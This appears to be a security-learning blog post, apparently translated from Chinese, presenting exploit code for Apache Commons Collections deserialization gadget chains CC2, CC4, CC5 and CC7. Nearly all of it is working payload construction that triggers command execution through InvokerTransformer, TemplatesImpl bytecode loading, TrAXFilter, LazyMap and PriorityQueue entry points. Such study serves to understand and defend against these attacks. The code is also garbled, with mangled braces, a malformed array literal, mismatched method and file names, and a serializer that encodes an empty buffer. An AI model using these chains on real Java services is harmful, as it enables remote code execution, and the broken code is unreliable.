import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CC2 {
    public CC2() throws IOException, ClassNotFoundException {
    {}
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser_c.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    {}
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

    Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,}}) null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1); // Because only when the parameter is greater than two can the queue comparison be triggered, and these added parameters are the parameters for the subsequent compar
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        Serializ(queue);
        Unserializ("Ser_c.bin");
    {}
{}

In fact, this CC2 can be improved further by using the method of loading bytecode to try countless combinations of executing commands.

When studying CC6 at school, I learned that when the parameters of transform are controllable, we can execute commands by using the method of loading bytecode without needing properties.

And this chain is accessed through the method queue.add(templates);, the parameters passed in will be called in the transform triggered during deserialization, as follows:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;


public class CC2_loader {
    public CC2_loader() throws IOException, ClassNotFoundException {
    {}
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    {}
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));

        byte[][] codes = {code};
        bytecodeField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);

        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(templates);
        queue.add(templates);
        setFieldValue(transformer, "iMethodName", "newTransformer");
        Serializ(queue);
        Unserializ("Ser.bin");

    {}
{}

CC4

CC4 actually changes the way bytecode is loaded from the final reflection acquisition to being triggered by the constructor of TrAXFilter
That is, the latter half has been changed to another method of loading bytecode for cc3
exp as follows

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;


public class CC4 {
    public CC4() throws IOException, ClassNotFoundException {
    {}
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    {}
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));

        byte[][] codes = {code};
        bytecodeField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        //Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, Transformer);
        //setFieldValue(transformer, "iMethodName", "newTransformer");

        Serializ(queue);
        Unserializ("Ser.bin");


    {}
{}

CC5

After learning the previous several CC chains, the difficulty of learning CC5 is actually not very high. The difference with the previous one is actually that the entry class has changed, and the latter part is the same as CC6, which changes the entry class to the readObject method of BadAttributeValueExpException to trigger toString
exp as follows

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));

        byte[][] codes = {code};
        bytecodeField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
        Field val=obj.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(obj,tiedMapEntry);
        Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        lazyMap.remove(templates);
        //tiedMapEntry.toString();
        Serializ(obj);
        Unserialize("ser.bin");
    {}
{}

CC7

CC7 is also a different way to trigger the LazyMap CC chain
The EXP is as follows

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

public class CC7 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        TemplatesImpl tmpl = new TemplatesImpl()
        Class clazz=tmpl.getClass();
        Field namefeld= clazz.getDeclaredField("_name");
        namefeld.setAccessible(true);
        namefeld.set(tmpl,"aaa");
        Field bytefeld= clazz.getDeclaredField("_bytecodes");
        bytefeld.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
        byte[][] bytecodes= {code};
        bytefeld.set(tmpl,bytecodes);
        Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
        tfactoryfeld.setAccessible(true);
        tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})

        };
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(2)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
        innerMap1.put("pP",1);
        Map innerMap2 = new HashMap();
        innerMap2.put("oo", 1);
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        lazyMap2.remove("pP");
        Class clazz2 = ChainedTransformer.class;
        Field field = clazz2.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, Transformer);

        Serialize(hashtable);
        Unserialize("ser.bin");
    {}
{}

CC.png

你可能想看:
最后修改时间:
admin
上一篇 2025年03月27日 20:48
下一篇 2025年03月27日 21:11

评论已关闭